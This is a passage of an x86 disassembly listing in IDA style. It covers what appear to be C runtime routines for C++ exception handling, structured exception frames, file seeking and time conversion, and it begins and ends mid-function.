cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
loc_421EA6: ; CODE XREF: sub_421DB1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DB324, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB31C
mov [ebp+var_1C], ecx
mov ecx, dword_4DB320
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB31C, edi
mov ecx, [ebp+arg_8]
mov dword_4DB320, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E8o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278ECo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278E0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB31C, eax
mov eax, [ebp-20h]
mov dword_4DB320, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427900
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427910
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DB328
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:00427924o
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427918o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43C8C4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427938o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:0042793Co
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427930o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DC908
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DC904
nop
call near ptr 2640000h
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43CD8C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43CCA8
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43CCAC, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43CCB0
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DC6C0
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB278, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 2740000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
nop
call near ptr 2660A00h
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DC5C0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB278, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
